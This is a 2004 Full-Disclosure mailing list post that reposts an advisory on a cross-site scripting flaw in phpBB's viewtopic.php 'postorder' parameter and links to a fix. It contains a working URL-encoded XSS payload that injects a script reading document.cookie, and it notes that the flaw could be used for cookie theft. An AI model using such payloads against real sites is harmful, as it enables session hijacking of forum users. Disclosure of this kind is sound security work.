Re: [Full-Disclosure] New phpBB ViewTopic.php Cross Site Scripting Vulnerability (with fix)

From: t4c [Founder of GHCIF] (t4c_at_ghcif.de)
Date: 03/01/04

  • Next message: Cory Donnelly: "[Full-Disclosure] Re: Security Watch Essay" 
    To: "t4c [Founder of GHCIF]" <t4c@ghcif.de>
Date: Mon, 01 Mar 2004 19:41:20 +0000

    Due PHPBB.COM erased this posting without any comment here just the fix
    again:

    http://www.ghcif.de/adv/phpbb206_viewtopic.txt

    t4c [Founder of GHCIF] wrote:
    > On 02/28/04 Cheng Peng Su released the following Advisory:
    >
    > ################################################
    > Advisory Name:New phpBB ViewTopic.php Cross Site Scripting Vulnerability
    > Release Date: Feb 29,2004
    > Application: phpBB
    > Platform: PHP
    > Version Affected: the lastest version
    > Vendor URL: http://www.phpbb.com/
    > Discover: Cheng Peng Su(apple_soup_at_msn.com)
    > ################################################
    >
    > Details:
    > ~ This vuln is similar to Arab VieruZ's advisory 'XSS bug in
    > phpBB',this time the problem is not in 'highlight' ,but in
    > 'postorder'.we can inject HTML code,such code could be used to steal
    > cookie information.
    >
    > Proof of Concept:
    > ~ If there is a topic at
    > ~ http://site/phpBB/viewtopic.php?t=123456
    > ~ this page can be also viewed at
    > ~ http://site/phpBB/viewtopic.php?t=123456&postorder=asc
    > ~ then this page will contain code like below:
    > ~ <a class="maintitle"
    > href="viewtopic.php?t=176994&amp;start=0&amp;postdays=0&amp;postorder=asc&amp;highlight=">[Topic
    >
    > Title]</a>.
    > ~ phpBB doesn't filter out illegal characters from 'postorder',so we can
    > inject HTML code after 'postorder='.
    >
    > Exploit:
    > ~ URL:
    > http://site/phpBB/viewtopic.php?t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C
    >
    >
    > ~ note
    > unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')
    >
    > == '">&lt;script&gt;alert(document.cookie)&lt;/script&gt;<'
    >
    > Contact:
    > Cheng Peng Su
    > apple_soup_at_msn.com
    > Class 1,Senior 2,High school attached to Wuhan University
    > Wuhan,Hubei,China
    >
    >
    >
    > Still PHPBB.COM didn't release any informations and patches I wrote a
    > small fix for this issue.
    >
    > Read more under
    > http://www.phpbb.com/phpBB/viewtopic.php?t=177585
    >
    > --
    > Milan 't4c' Berger
    > Network & Security Administrator
    > 21073 Hamburg
    >
    > gpg: http://www.ghcif.de/keys/t4c.asc
    >

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html 

    -- 
Milan 't4c' Berger
Network & Security Administrator
21073 Hamburg
gpg: http://www.ghcif.de/keys/t4c.asc
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
  • Next message: Cory Donnelly: "[Full-Disclosure] Re: Security Watch Essay"

    Relevant Pages